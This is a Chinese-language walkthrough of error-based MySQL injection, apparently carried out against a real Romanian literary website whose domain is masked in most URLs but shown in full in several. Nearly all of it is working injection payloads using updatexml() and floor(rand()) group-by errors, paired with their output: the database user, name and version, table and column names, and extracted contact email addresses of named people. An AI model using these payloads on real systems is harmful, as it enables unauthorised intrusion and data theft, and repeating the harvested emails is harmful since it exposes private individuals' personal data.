MySQL基于报错注入1

0x1 判断注入点：

http://www.xxxx.ro/s.php?id=1'

那么尝试闭合下单引号

http://www.xxxx.ro/s.php?id=1' --+

0x2 枚举下表的列

http://www.xxxx.ro/s.php?id=1' order by 4 --+

http://www.xxxx.ro/s.php?id=1' order by 3 --+

可以判断为3列

0x3 使用updatexml() 获取数据库的相关信息

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

romanian_rowri@localhost

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

romanian_svc

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

5.5.46-0ubuntu0.14.04.2

获取数据库名也可以通过以下方式：

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 1,1),0x7e),1) --+

0x4 获取库的表名

http://www.romanianwriters.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='romanian_svc'  limit 0,1),0x7e),1) --+

ra_autori

ra_carti

ra_carti_autori

ra_carti_critics

ra_carti_pdf

ra_contact

未发现相关后台的表，最后通过SQLmap确认确实没啥大的用处。

0x5 获取标的字段

ra_contact

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='ra_contact'  limit 0,1),0x7e),1) --+

id,nume,functie,email,poza

0x6 获取字段数据

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x23,id,0x3a,email,0x23) from ra_contact  limit 0,1),0x7e),1) --+

1:catalina.staicu@polirom.ro

4:lucian.teodorovici@polirom.ro

另外一种方式：

http://www.xxxx.ro/s.php?id=1' and '1'='1 #闭合

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获取当前数据库：

http://www.romanianwriters.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

romanian_svc

获取当前数据库权限：

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

romanian_rowri@localhost

获取库对应的表

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获取表的数据

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,id,0x3a,email,0x23) FROM romanian_svc.ra_contact limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

完结！